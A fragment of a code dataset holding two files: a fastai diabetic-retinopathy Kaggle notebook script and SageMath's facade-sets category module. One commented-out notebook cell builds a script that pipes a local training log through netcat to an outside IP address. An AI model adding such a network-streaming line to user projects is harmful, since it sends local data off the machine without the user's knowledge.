dtype=torch.float)\n\n    if cls_weight is not None:\n        reg_predict = y.clone().detach()\n        inds = [torch.nonzero(reg_predict == type_id).squeeze(1)\n                for type_id in range(5)]\n        for type_id, ind in enumerate(inds):\n            sample_weight[ind] = cls_weight[type_id]\n\n    return torch.tensor(cohen_kappa_score(y_hat, target, weights='quadratic', sample_weight=sample_weight), device='cuda:0')\n# -\n\n\n# ### loss\n\n\n# +\n# modified based https://github.com/DingKe/pytorch_workplace/blob/master/focalloss/loss.py\nclass DR_FocalLoss(nn.Module):\n    def __init__(self, gamma: float = 0., eps=1e-7, from_logits=True,\n                 cls_cnt=None, cls_overlap=\"None_for_fine\"):\n        super(DR_FocalLoss, self).__init__()\n        self.gamma = gamma\n        self.eps = eps\n\n        self.from_logits = from_logits\n\n        if cls_cnt is not None:\n            normal_cnt = cls_cnt[0]\n\n            NPDR_1_cnt = cls_cnt[1]\n            NPDR_2_cnt = cls_cnt[2]\n            NPDR_3_cnt = cls_cnt[3]\n\n            PDR_cnt = cls_cnt[4]\n        else:\n            normal_cnt = 1805\n\n            NPDR_1_cnt = 370\n            NPDR_2_cnt = 999\n            NPDR_3_cnt = 193\n\n            PDR_cnt = 295\n\n        s = normal_cnt + NPDR_1_cnt + NPDR_2_cnt + NPDR_3_cnt + PDR_cnt\n        fine_s = NPDR_1_cnt + NPDR_2_cnt + NPDR_3_cnt\n\n        def cal_neg_coef(a, b, c, s=None):  # s can be passed if there is overlay in abc\n            if s is None:\n                s = a + b + c\n            return [a/(s-a), b/(s-b), c/(s-c)]\n\n        def cal_ratio(a, b, c, d):  # s can be passed if there is overlay in abc\n            return [a/b, a/c, a/d]\n\n        #b_n_r, b_npdr_r, b_pdr_r = cal_ratio(normal_cnt, normal_cnt, fine_s, PDR_cnt)\n        #b_npdr1_r_not_added, b_npdr2_r_not_added, b_npdr3_r_not_added = \\\n        #    cal_ratio(normal_cnt, NPDR_1_cnt, NPDR_2_cnt, NPDR_3_cnt)\n        #self.coarse_mag = [b_n_r, b_npdr_r, b_pdr_r]  # only [-1] is used\n        #self.fine_mag_not_added = [b_npdr1_r_not_added, b_npdr2_r_not_added, b_npdr3_r_not_added]\n        base_cnt = NPDR_2_cnt\n\n        self.coarse_mag = cal_ratio(base_cnt, normal_cnt, fine_s, PDR_cnt)\n        self.fine_mag_not_added = \\\n            cal_ratio(base_cnt, NPDR_1_cnt, NPDR_2_cnt, NPDR_3_cnt)\n        self.reg_mag = 2.  # overall loss for regression\n\n        # following for alpha balancer\n        if cls_overlap == \"None_for_fine\":\n            NPDR_3_added = NPDR_3_cnt\n            NPDR_2_added = NPDR_2_cnt\n            NPDR_1_added = NPDR_1_cnt\n        else:\n            NPDR_3_added = NPDR_3_cnt + PDR_cnt  # PDR as NPDR3 ... not very good, anyway\n            NPDR_2_added = NPDR_2_cnt + NPDR_3_added\n            NPDR_1_added = NPDR_2_cnt + NPDR_3_added + NPDR_1_cnt\n\n        NPDR_cnt_added_PDR = fine_s  # + PDR_cnt\n        #a_normal, a_NPDR, a_PDR = \\\n        self.coarse_a = \\\n            cal_neg_coef(normal_cnt, NPDR_cnt_added_PDR, PDR_cnt, s)\n        self.fine_a = \\\n            cal_neg_coef(NPDR_1_added, NPDR_2_added,\n                         NPDR_3_added, NPDR_cnt_added_PDR)\n        # only used in balancing classification\n        self.fine_mag = \\\n            cal_ratio(base_cnt, NPDR_1_added, NPDR_2_added, NPDR_3_added)\n\n        print('mag coef: ',\n              [self.coarse_mag[0]] + self.fine_mag_not_added +\n              [self.coarse_mag[-1]],\n              \"\\nalpha balancer here will be multiplied by negtive loss part\\n\",\n              self.coarse_a, self.fine_a, self.fine_mag)\n\n    @staticmethod\n    def cal_balance_ratio_2_parts(pos, neg):\n        pos_ratio = neg/(pos+neg)\n        return pos_ratio, 1-pos_ratio, pos*pos_ratio\n\n    def forward(self, input, target, **kwargs):\n        # so we have 6 logits and one tensor for regression\n        reduction_param = kwargs.get('reduction', 'mean')\n        target = target.float()  # otherwise, int*float thing\n\n        reg_score_pred = input[:, -1]\n        if self.from_logits:\n            cls_input = torch.sigmoid(input[:, :-1])\n        else:\n            cls_input = input[:, :-1]\n\n        coarse_cls_input = cls_input[:, :3]\n        coarse_target = target[:, :3]\n\n        # todo add loss/constraint for NPDR,PDR classfication? might be helpful, after we analyze our errors!!\n        coarse_cls_loss = self.focal_binary_loss(coarse_cls_input, coarse_target, self.gamma, self.coarse_a, self.eps,\n                                                 self.coarse_mag, reduction=reduction_param)\n        if reduction_param == 'none':  # need to squash for coarse and fine classes\n            coarse_cls_loss = coarse_cls_loss.sum(dim=1)\n\n        loss = coarse_cls_loss\n\n        NPDR_inds_subset = torch.nonzero(coarse_target[:, 1] > 0).squeeze(1)\n        fine_cls_input = cls_input[NPDR_inds_subset, 3:6]\n        fine_target = target[NPDR_inds_subset, 3:6]\n        fine_cls_loss = self.focal_binary_loss(fine_cls_input, fine_target, self.gamma, self.fine_a, self.eps, self.fine_mag,\n                                               reduction=reduction_param)\n        if reduction_param == 'none':  # need to squash for coarse and fine classes\n            fine_cls_loss = fine_cls_loss.sum(dim=1)\n            loss[NPDR_inds_subset] += fine_cls_loss  # size ...\n        else:\n            loss += fine_cls_loss  # a value\n\n        # for reg loss, we do class balance too\n        reg_loss = self.reg_mag * \\\n            F.smooth_l1_loss(reg_score_pred, target[:, -1], reduction='none')\n\n        NPDR1_inds_subset = torch.nonzero(target[:, -1] == 1).squeeze(1)\n        NPDR2_inds_subset = torch.nonzero(target[:, -1] == 2).squeeze(1)\n        NPDR3_inds_subset = torch.nonzero(target[:, -1] == 3).squeeze(1)\n        reg_loss[NPDR1_inds_subset] *= self.fine_mag_not_added[0]\n        reg_loss[NPDR2_inds_subset] *= self.fine_mag_not_added[1]\n        reg_loss[NPDR3_inds_subset] *= self.fine_mag_not_added[2]\n\n        #normal_inds_subset = torch.nonzero(coarse_target[:, 0] > 0).squeeze(1)\n        #reg_loss[normal_inds_subset] *= a_normal\n\n        PDR_inds_subset = torch.nonzero(coarse_target[:, 2] > 0).squeeze(1)\n        reg_loss[PDR_inds_subset] *= self.coarse_mag[-1]\n\n        if reduction_param != 'none':\n            reg_loss = torch.mean(\n                reg_loss) if reduction_param == 'mean' else torch.sum(reg_loss)\n        loss += reg_loss\n\n        return loss\n\n    @staticmethod\n    def focal_binary_loss(input, target, gamma, alpha, eps, mag, reduction='mean'):\n        y_pred = input\n        y = target\n        not_y = 1 - y\n        not_y_pred = 1 - y_pred\n\n        y_pred = y_pred.clamp(eps, 1. - eps)\n        not_y_pred = not_y_pred.clamp(eps, 1. - eps)\n\n        if eps > gamma > -eps:  # 0\n            pos_gamma_balancer = 1.\n            neg_gamma_balancer = 1.\n        elif eps > gamma - 1 > -eps:\n            pos_gamma_balancer = not_y_pred\n            neg_gamma_balancer = y_pred\n        else:\n            pos_gamma_balancer = not_y_pred ** gamma\n            neg_gamma_balancer = y_pred ** gamma\n\n        # RuntimeError: expected backend CUDA and dtype Float but got backend CUDA and dtype Long\n        loss = -                       pos_gamma_balancer * \\\n            y * torch.log(y_pred)  # cross entropy\n        loss += -y.new_tensor(alpha) * neg_gamma_balancer * \\\n            not_y * torch.log(not_y_pred)\n        loss *= loss.new_tensor(mag)\n\n        #if target.requires_grad:  # we don't care about this, so just ignore\n\n        if reduction != 'none':\n            return torch.mean(loss) if reduction == 'mean' else torch.sum(loss)\n        #else:\n        #    expanded_input, expanded_target = torch.broadcast_tensors(input, target)\n        #    ret = torch._C._nn.mse_loss(expanded_input, expanded_target, _Reduction.get_enum(reduction))\n        #return ret\n        return loss\n# -\n\n\n# ### learner (resnet 50)\n\n\n# +\n# **Training:**\n#\n# We use transfer learning, where we retrain the last layers of a pretrained neural network. I use the ResNet50 architecture trained on the ImageNet dataset, which has been commonly used for pre-training applications in computer vision. Fastai makes it quite simple to create a model and train:\ndef create_DR_head(nf: int, nc: int, lin_ftrs: Optional[Collection[int]] = None, ps: Floats = 0.5,\n                   concat_pool: bool = True, bn_final: bool = False):\n    \"Model head that takes `nf` features, runs through `lin_ftrs`, and about `nc` classes.\"\n    lin_ftrs = [nf, 512, nc] if lin_ftrs is None else [nf] + lin_ftrs + [nc]\n    ps = listify(ps)\n    if len(ps) == 1:\n        ps = [ps[0]/2] * (len(lin_ftrs)-2) + ps\n    actns = [nn.ReLU(inplace=True)] * (len(lin_ftrs)-2) + [None]\n    pool = AdaptiveConcatPool2d() if concat_pool else nn.AdaptiveAvgPool2d(1)\n    layers = [pool, Flatten()]\n    for ni, no, p, actn in zip(lin_ftrs[:-1], lin_ftrs[1:], ps, actns):\n        layers += bn_drop_lin(ni, no, True, p, actn)\n    if bn_final:\n        layers.append(nn.BatchNorm1d(lin_ftrs[-1], momentum=0.01))\n    return nn.Sequential(*layers)\n\n\ndef DR_learner(data: DataBunch, base_arch: Callable, cut: Union[int, Callable] = None, pretrained: bool = True,\n               lin_ftrs: Optional[Collection[int]] = None, ps: Floats = 0.5, custom_head: Optional[nn.Module] = None,\n               split_on: Optional[SplitFuncOrIdxList] = None, bn_final: bool = False, init=nn.init.kaiming_normal_,\n               concat_pool: bool = True, attention=False, **kwargs: Any) -> Learner:\n    \"Build convnet style learner.\"\n    meta = cnn_config(base_arch)\n\n    \"Create custom convnet architecture\"\n    body = create_body(base_arch, pretrained, cut)\n    if custom_head is None:  # quadnet head\n        nf = num_features_model(nn.Sequential(\n            *body.children())) * (2 if concat_pool else 1)\n        if attention:\n            pass\n        head = create_DR_head(nf, data.c+2, lin_ftrs, ps=ps,\n                              concat_pool=concat_pool, bn_final=bn_final)\n    else:\n        head = custom_head\n\n    model = nn.Sequential(body, head)\n\n    learn = Learner(data, model, **kwargs)\n    learn.split(split_on or meta['split'])\n    if pretrained:\n        learn.freeze()\n    if init:\n        apply_init(model[1], init)\n    return learn\n# -\n\n\n# +\ncls_cnt = df['diagnosis'].value_counts().sort_index().values\n# changed lr decay 2/0.15 + patience=3, do not use focal loss...\nfl_normal = DR_FocalLoss(gamma=0., cls_cnt=cls_cnt)\n# set_trace() we convert back to ipynb\n# learner = DR_learner(data, vision.models.densenet121, metrics=[quadratic_kappa])\n#learn = cnn_learner(data, base_arch=models.resnet50, metrics=[quadratic_kappa])\n\n\ndef get_cls_weight(cls_cnt, multiply=[1, 1, 1, 1, 1]):\n    cls_weight = cls_cnt[0]/cls_cnt\n    # cls_weight = [1,1,1,1,1]\n    assert len(cls_cnt) == len(multiply)\n    for i, m in enumerate(multiply):\n        cls_weight[i] *= m\n\n    return cls_weight\n\n\n#cls_weight = get_cls_weight(cls_cnt, [0.5, 1.5, 3, 1, 0.5])\ncls_weight = get_cls_weight(cls_cnt)\n\nlearn = DR_learner(data, vision.models.resnet50, cut=-1, loss_func=fl_normal,\n                   metrics=[partial(quadratic_kappa, cls_weight=cls_weight)],\n                   callback_fns=[partial(CSVLogger, append=True)])\n\n# -\n\n\n# ### train\n\n\n# +\ndef train_triangular_lr(learn, inner_step=0, cycle_cnt=None, max_lr=None, loss=None):\n    if inner_step == 0:\n        if loss is not None:\n            learn.loss_func = loss\n        learn.freeze()\n        learn.lr_find()\n        learn.recorder.plot(suggestion=True)\n    elif inner_step == 1:\n        assert max_lr is not None and cycle_cnt is not None\n        learn.freeze()\n        learn.fit_one_cycle(cycle_cnt, max_lr=max_lr, wd=0.1)\n        learn.recorder.plot_losses()\n        learn.recorder.plot_metrics()\n        learn.save('dr-stage1')\n    elif inner_step == 2:\n        learn.unfreeze()\n        learn.lr_find()\n        learn.recorder.plot(suggestion=True)\n    elif inner_step == 3:\n        assert max_lr is not None and cycle_cnt is not None\n        # Min numerical gradient: 1.91E-06\n        #learn.fit_one_cycle(6, max_lr=slice(1e-6, 5e-6/5))\n        learn.unfreeze()\n        learn.fit_one_cycle(cycle_cnt, max_lr=max_lr, wd=0.1)\n\n        learn.recorder.plot_losses()\n        learn.recorder.plot_metrics()\n        learn.save('dr-stage2')\n# -\n\n\n# +\nsavedPath = Path('models/stage-2.pth')\nif savedPath.exists():\n    learn.load('stage-2')\n# -\n\n\n# +\n# !echo '#!/bin/sh\\n( touch metric.log; tail -f history.csv | while true; do nc -v 23.105.212.181 60020; sleep 1; done ) & ' > log_tel.sh\n# !chmod +x log_tel.sh\n# #!nc -h || apt install netcat -y\n\n\n#cmdstr = 'python -m unittest unitTest.PSKenelTest.test_pytorch_model_dev'\ncmdstr = 'sh ./log_tel.sh'\n#Popen(cmdstr.split(), stdout=PIPE)\n\n# -\n# +\nif submitting_to_LB and do_lr_find:\n    train_triangular_lr(learn, inner_step=0)\n# -\n\n# +\n\n\ndef get_max_lr(learn):\n    try:\n        rec = learn.recorder\n        lrs = rec._split_list(rec.lrs, 10, 5)\n        losses = rec._split_list(rec.losses, 10, 5)\n        losses = [x.item() for x in losses]\n\n        mg = (np.gradient(np.array(losses))).argmin()\n        print(f\"Min numerical gradient: {lrs[mg]:.2E}\")\n        return lrs[mg]\n    except:\n        print(\"Failed to compute the gradients, there might not be enough points.\")\n        return None\n# -\n\n\n# +\nstage_1_cycle = 4 if not use_less_train_data else 1\n\nmax_lr_stage_1 = None\nif submitting_to_LB and do_lr_find:\n    max_lr_stage_1 = get_max_lr(learn)\n\nif max_lr_stage_1 is None or max_lr_stage_1 < 5e-4:\n    max_lr_stage_1 = 1e-2\ntrain_triangular_lr(learn, inner_step=1, cycle_cnt=stage_1_cycle,\n                    max_lr=max_lr_stage_1)  # choose 3.31E-02 as suggested\n# -\n\n# +\nif submitting_to_LB and do_lr_find:\n    train_triangular_lr(learn, inner_step=2)  # choose 3.31E-02 as suggested\n# -\n\n# +\nstage_2_cycle = 6 if not use_less_train_data else 1\n\nmax_lr_stage_2 = None\nif submitting_to_LB and do_lr_find:\n    max_lr_stage_2 = get_max_lr(learn)\n\nif max_lr_stage_2 is None or max_lr_stage_2 < 1e-6:\n    max_lr_stage_2 = 5e-5\nlast_layer_lr_scale_down = 10.\n\nlast_layer_max_lr_stage_2 = max_lr_stage_1 / last_layer_lr_scale_down\ntrain_triangular_lr(learn, inner_step=3, cycle_cnt=stage_2_cycle, max_lr=slice(\n    max_lr_stage_2, last_layer_max_lr_stage_2))\n# -\n\n# +\n# we need to subclass our our interpretor, as existed one use argmax to predict class\n\n\nclass DRClassificationInterpretation(ClassificationInterpretation):\n    def __init__(self, learn: Learner, preds: Tensor, y_true: Tensor, losses: Tensor, ds_type: DatasetType = DatasetType.Valid,\n                 cls_converter: Callable = None):\n        super(DRClassificationInterpretation, self).__init__(\n            learn, preds, y_true, losses, ds_type)\n        assert cls_converter is not None\n        self.pred_class = cls_converter(self.preds)\n        self.y_true = self.y_true[:, -1]\n\n    @classmethod\n    def from_learner(cls, learn: Learner,  ds_type: DatasetType = DatasetType.Valid, cls_converter: Callable = None):\n        \"Gets preds, y_true, losses to construct base class from a learner\"\n        preds_res = learn.get_preds(ds_type=ds_type, with_loss=True)\n        return cls(learn, *preds_res, cls_converter=cls_converter)\n# -\n# +\n# Let's evaluate our model:\n\n\ncoefficients = [0.5, 1.5, 2.5, 3.5]\ninterp = DRClassificationInterpretation.from_learner(\n    learn, cls_converter=partial(convert_to_normal_pred, thresholds=coefficients))\n\n# +\nlosses, idxs = interp.top_losses()\nlen(data.valid_ds) == len(losses) == len(idxs)\n# -\n\n\n# +\ninterp.preds[idxs[:20]]\n# -\n\n# +\ninterp.plot_top_losses(k=12, heatmap=False)\nprint(interp.confusion_matrix())\nprint(cohen_kappa_score(interp.pred_class, interp.y_true, weights='quadratic'))\n# /opt/conda/lib/python3.6/site-packages/fastai/vision/learner.py:147\n# /opt/conda/lib/python3.6/site-packages/fastai/vision/learner.py\n# #!cat -n /opt/conda/lib/python3.6/site-packages/fastai/data_block.py\n# -\n\n# +\ninterp.plot_confusion_matrix(figsize=(12, 12), dpi=98)\n# -\n\n# +\n# ## TTA\n#\n# Test-time augmentation, or TTA, is a commonly-used technique to provide a boost in your score, and is very simple to implement. Fastai already has TTA implemented, but it is not the best for all purposes, so I am redefining the fastai function and using my custom version.\n\n\ndef _tta_only(learn: Learner, ds_type: DatasetType = DatasetType.Valid, num_pred: int = 10) -> Iterator[List[Tensor]]:\n    \"Computes the outputs for several augmented inputs for TTA\"\n    dl = learn.dl(ds_type)\n    ds = dl.dataset\n    old = ds.tfms\n    aug_tfms = [o for o in learn.data.train_ds.tfms]\n    try:\n        pbar = master_bar(range(num_pred))\n        for i in pbar:\n            ds.tfms = aug_tfms\n            yield get_preds(learn.model, dl, pbar=pbar)[0]\n    finally:\n        ds.tfms = old\n\n\nLearner.tta_only = _tta_only\n\n\ndef _TTA(learn: Learner, beta: float = 0, ds_type: DatasetType = DatasetType.Valid, num_pred: int = 1,\n         with_loss: bool = False) -> Tensors:\n    \"Applies TTA to predict on `ds_type` dataset.\"\n    preds, y = learn.get_preds(ds_type)\n    if beta is None:\n        all_preds = list(learn.tta_only(ds_type=ds_type, num_pred=num_pred))\n        avg_preds = torch.stack(all_preds).mean(0)\n        return preds, avg_preds, y\n    else:\n        if beta == 1.:\n            final_preds = preds\n        else:\n            avg_preds = torch.stack(all_preds).mean(0)\n            all_preds = list(learn.tta_only(\n                ds_type=ds_type, num_pred=num_pred))\n            final_preds = preds * beta + avg_preds * (1 - beta)\n        if with_loss:\n            with NoneReduceOnCPU(learn.loss_func) as lf:\n                loss = lf(final_preds, y)\n            return final_preds, y, loss\n        return final_preds, y\n\n\nLearner.TTA = _TTA\n# -\n\n\n# ## predict submission.csv\n\n\n# +\nvalid_preds = (interp.preds, interp.y_true)\n\noptR = OptimizedRounder()\n# might overfit ...(but at V15 code, without it, performance is really bad)\noptR.fit(valid_preds[0][:, -1], valid_preds[1], cls_weight=cls_weight)\n\ncoefficients = optR.coefficients()\ncoefficients\n# -\n\n# +\ntest_predictions = None\nsample_df = pd.read_csv(\n    '../input/aptos2019-blindness-detection/sample_submission.csv')\n\n\ndef preds_for_test(learn, sample_df, optR, coefficients):\n    learn.data.add_test(\n        ImageList.from_df(sample_df, '../input/aptos2019-blindness-detection',\n                          folder='test_images', suffix='.png'))\n\n    preds, y = learn.TTA(ds_type=DatasetType.Test, beta=1.)\n    test_predictions = optR.predict(preds[:, -1], coefficients)\n    return test_predictions\n# -\n# +\n\n\nif submitting_to_LB:\n    if test_predictions is None:\n        test_predictions = preds_for_test(learn, sample_df, optR, coefficients)\n    sample_df.diagnosis = test_predictions.astype(int)\n    sample_df.to_csv('submission.csv', index=False)\n\n    sample_df.head()\n# -\n\n# +\nif submitting_to_LB:\n    sample_df.diagnosis.hist()\n# -\n\n# +\n# use coefficients to predict\ninterp.pred_class = torch.tensor(optR.predict(interp.preds[:, -1],\n                                              coefficients).astype(np.int),\n                                 dtype=torch.int64)\n# -\n# +\nprint(interp.confusion_matrix())\nprint(quadratic_kappa(interp.pred_class, interp.y_true,\n                      cls_weight=cls_weight, y_hat_predicted=True))\n# -\n", "meta": {"hexsha": "4a8856d6ed62cc752481c79dd6178e5b1dc540a6", "size": 48487, "ext": "py", "lang": "Python", "max_stars_repo_path": "DR-fastai-custom-loss.py", "max_stars_repo_name": "pennz/diabeticRetina", "max_stars_repo_head_hexsha": "e8a6a103ac332df95607b1b1802b4c6604e0d645", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "DR-fastai-custom-loss.py", "max_issues_repo_name": "pennz/diabeticRetina", "max_issues_repo_head_hexsha": "e8a6a103ac332df95607b1b1802b4c6604e0d645", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "DR-fastai-custom-loss.py", "max_forks_repo_name": "pennz/diabeticRetina", "max_forks_repo_head_hexsha": "e8a6a103ac332df95607b1b1802b4c6604e0d645", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.9307207838, "max_line_length": 465, "alphanum_fraction": 0.6189906573, "include": true, "reason": "import numpy,import scipy", "num_tokens": 13610, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.12252320771203076, "lm_q1q2_score": 0.060304469186316226}}
{"text": "r\"\"\"\nFacade Sets\n\"\"\"\n#*****************************************************************************\n#  Copyright (C) 2010 Nicolas M. Thiery <nthiery at users.sf.net>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#                  http://www.gnu.org/licenses/\n#******************************************************************************\n\nfrom sage.misc.cachefunc import cached_method\nfrom sage.categories.category_singleton import Category_singleton\nfrom sage.categories.category import Category\n\nclass FacadeSets(Category_singleton):\n    r\"\"\"\n    The category of facade sets\n\n    A *facade set* is a parent ``P`` whose elements actually belong to\n    some other parent::\n\n        sage: P = Sets().example(); P\n        Set of prime numbers (basic implementation)\n        sage: p = Sets().example().an_element(); p\n        47\n        sage: p in P\n        True\n        sage: p.parent()\n        Integer Ring\n\n    Typical use cases include modeling a subset of an existing\n    parent::\n\n        sage: Sets().Facades().example()\n        An example of facade set: the monoid of positive integers\n\n    or the union of several parents::\n\n        sage: Sets().Facades().example(\"union\")\n        An example of a facade set: the integers completed by +-infinity\n\n    or endowing a parent with more (or less!) structure::\n\n        sage: Posets().example(\"facade\")\n        An example of a facade poset: the positive integers ordered by divisibility\n\n    Let us consider one of the examples above in detail: the partially ordered\n    set `P` of positive integers w.r.t. divisibility order. There are two\n    options for representing its elements:\n\n     1. as plain integers\n     2. as integers, modified to be aware that their parent is `P`\n\n    The advantage of 1. is that one needs not to do conversions back and\n    forth between `P` and `\\ZZ`. The disadvantage is that this\n    introduces an ambiguity when writing `2 < 3`::\n\n        sage: 2 < 3\n        True\n\n    To raise this ambiguity, one needs to explicitely specify the order\n    as in `2 <_P 3`::\n\n\n        sage: P = Posets().example(\"facade\")\n        sage: P.lt(2,3)\n        False\n\n    In short `P` being a facade parent is one of the programmatic\n    counterpart (with e.g. coercions) of the usual mathematical idiom:\n    \"for ease of notation, we identify an element of `P` with the\n    corresponding integer\". Too many identifications lead to\n    confusion; the lack thereof leads to heavy, if not obfuscated,\n    notations. Finding the right balance is an art, and even though\n    there are common guidelines, it is ultimately up to the writer to\n    choose which identifications to do. This is no different in code.\n\n    .. seealso::\n\n       ::\n\n        sage: Sets().example(\"facade\")\n        Set of prime numbers (facade implementation)\n        sage: Sets().example(\"inherits\")\n        Set of prime numbers\n        sage: Sets().example(\"wrapper\")\n        Set of prime numbers (wrapper implementation)\n\n    .. rubric:: Specifications\n\n    A parent which is a facade must either:\n\n    - call :meth:`Parent.__init__` using the ``facade`` parameter to\n      specify a parent, or tuple thereof.\n    - overload the method :meth:`~FacadeSets.ParentMethods.facade_for`.\n\n    .. note:: the concept of facade parents was originally introduced\n       in the computer algebra system MuPAD.\n\n    TESTS:\n\n    Check that multiple categories initialisation works (:trac:`13801`)::\n\n        sage: class A(Parent):\n        ...     def __init__(self):\n        ...         Parent.__init__(self, category=(FiniteEnumeratedSets(),Monoids()), facade=True)\n        sage: a = A()\n    \"\"\"\n\n    @cached_method\n    def super_categories(self):\n        r\"\"\"\n        Returns the super categories of ``self``, as per\n        :meth:`Category.super_categories`.\n\n        EXAMPLES::\n\n            sage: Sets().Facades().super_categories()\n            [Category of sets]\n        \"\"\"\n        from sage.categories.sets_cat import Sets\n        return [Sets()]\n\n    def example(self, choice='subset'):\n        r\"\"\"\n        Returns an example of facade set, as per\n        :meth:`Category.example()\n        <sage.categories.category.Category.example>`.\n\n        INPUT:\n\n        - ``choice`` -- 'union' or 'subset' (default: 'subset').\n\n        EXAMPLES::\n\n            sage: Sets().Facades().example()\n            An example of facade set: the monoid of positive integers\n            sage: Sets().Facades().example(choice='union')\n            An example of a facade set: the integers completed by +-infinity\n            sage: Sets().Facades().example(choice='subset')\n            An example of facade set: the monoid of positive integers\n        \"\"\"\n        import sage.categories.examples.facade_sets as examples\n        if choice == \"union\":\n            return examples.IntegersCompletion()\n        elif choice == 'subset':\n            return examples.PositiveIntegerMonoid()\n        else:\n            raise TypeError, \"choice should be 'union' or 'subset'\"\n\n    class ParentMethods:\n\n        def _element_constructor_(self, element):\n            \"\"\"\n            Coerce ``element`` into ``self``\n\n            INPUT:\n\n            - ``element`` -- any object\n\n            This default implementation returns ``element`` if\n            ``self`` is a facade for ``parent(element)`. Otherwise it\n            attempts in turn to coerce ``element`` into each parent\n            ``self`` is a facade for.\n\n            This implementation is only valid for a facade parent\n            which models the full union of the parents it is a facade\n            for. Other facade parents should redefine\n            :meth:`element_constructor` appropriately.\n\n            EXAMPLES::\n\n                sage: S = Sets().Facades().example(\"union\"); S\n                An example of a facade set: the integers completed by +-infinity\n                sage: S(1)\n                1\n                sage: S(1/2)\n                Traceback (most recent call last):\n                ...\n                ValueError: Can't coerce `1/2` in any parent `An example of a facade set: the integers completed by +-infinity` is a facade for\n                sage: S(2/1)\n                2\n                sage: S(2/1).parent()\n                Integer Ring\n                sage: S(int(1))\n                1\n                sage: S(int(1)).parent()\n                Integer Ring\n\n            Facade parents that model strict subsets should redefine\n            :meth:`element_constructor`::\n\n                sage: S = Sets().Facades().example(); S\n                An example of facade set: the monoid of positive integers\n                sage: S(-1)\n                Traceback (most recent call last):\n                ...\n                ValueError: %s should be positive\n            \"\"\"\n            if self.is_parent_of(element):\n                return element\n            else:\n                parents = self.facade_for()\n                if parents is True:\n                    return NotImplementedError\n                for parent in self.facade_for():\n                    try:\n                        return parent(element)\n                    except Exception:\n                        pass\n            raise ValueError, \"Can't coerce `%s` in any parent `%s` is a facade for\"%(element, self)\n\n        def facade_for(self):\n            \"\"\"\n            Returns the parents this set is a facade for\n\n            This default implementation assumes that ``self`` has\n            an attribute ``_facade_for``, typically initialized by\n            :meth:`Parent.__init__`. If the attribute is not present, the method\n            raises a NotImplementedError.\n\n            EXAMPLES::\n\n                sage: S = Sets().Facades().example(); S\n                An example of facade set: the monoid of positive integers\n                sage: S.facade_for()\n                (Integer Ring,)\n\n            Check that :trac:`13801` is corrected::\n\n                sage: class A(Parent):\n                ...     def __init__(self):\n                ...         Parent.__init__(self, category=Sets(), facade=True)\n                sage: a = A()\n                sage: a.facade_for()\n                Traceback (most recent call last):\n                ...\n                NotImplementedError: this parent did not specify which parents it is a facade for\n            \"\"\"\n            try:\n                return self._facade_for\n            except AttributeError:\n                raise NotImplementedError(\"this parent did not specify which parents it is a facade for\")\n\n        def is_parent_of(self, element):\n            \"\"\"\n            Returns whether ``self`` is the parent of ``element``\n\n            INPUT:\n\n            - ``element`` -- any object\n\n            Since ``self`` is a facade domain, this actually tests\n            whether the parent of ``element`` is any of the parent\n            ``self`` is a facade for.\n\n            EXAMPLES::\n\n                sage: S = Sets().Facades().example(); S\n                An example of facade set: the monoid of positive integers\n                sage: S.is_parent_of(1)\n                True\n                sage: S.is_parent_of(1/2)\n                False\n\n            This method differs from :meth:`__contains__` in two\n            ways.  First, this does not take into account the fact\n            that ``self`` may be a strict subset of the parent(s)\n            it is a facade for::\n\n                sage: -1 in S, S.is_parent_of(-1)\n                (False, True)\n\n            Furthermore, there is no coercion attempted::\n\n                sage: int(1) in S, S.is_parent_of(int(1))\n                (True, False)\n\n            .. warning::\n\n               this implementation does not handle facade parents of facade\n               parents. Is this a feature we want generically?\n            \"\"\"\n            parents = self.facade_for()\n            if parents is True:\n                return True\n            from sage.structure.element import parent\n            return parent(element) in parents\n\n        def __contains__(self, element):\n            \"\"\"\n            Membership testing\n\n            Returns whether ``element`` is in one of the parents\n            ``self`` is a facade for.\n\n            .. warning:: this default implementation is currently\n            overriden by :meth:`Parent.__contains__`.\n\n            EXAMPLES::\n\n                sage: S = Sets().Facades().example(\"union\"); S\n                An example of a facade set: the integers completed by +-infinity\n                sage: 1 in S, -5 in S, oo in S, -oo in S, int(1) in S, 2/1 in S\n                (True, True, True, True, True, True)\n                sage: 1/2 in S, \"bla\" in S\n                (False, False)\n            \"\"\"\n            return any(element in parent for parent in self.facade_for())\n\n        def _an_element_(self):\n            \"\"\"\n            Try to return an element of ``self``, as per\n            :meth:`Sets.ParentMethods.an_element`.\n\n            For each parent ``self`` is a facade for, this default\n            implementation tries the method ``an_element`` until it finds an\n            element in ``self``. If none is found raise a\n            ``NotImplementedError``.\n\n            EXAMPLES::\n\n                sage: S = Sets().Facades().example(); S\n                An example of facade set: the monoid of positive integers\n                sage: S.an_element()\n                1\n            \"\"\"\n            for parent in self.facade_for():\n                x = parent.an_element()\n                if x in self:\n                    return x\n            raise NotImplementedError\n\n\n", "meta": {"hexsha": "647cbf34ec2e5481613d6ad74c48766d45a71c39", "size": 11614, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/categories/facade_sets.py", "max_stars_repo_name": "bopopescu/sagesmc", "max_stars_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:15:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T15:15:18.000Z", "max_issues_repo_path": "src/sage/categories/facade_sets.py", "max_issues_repo_name": "bopopescu/sagesmc", "max_issues_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/categories/facade_sets.py", "max_forks_repo_name": "bopopescu/sagesmc", "max_forks_repo_head_hexsha": 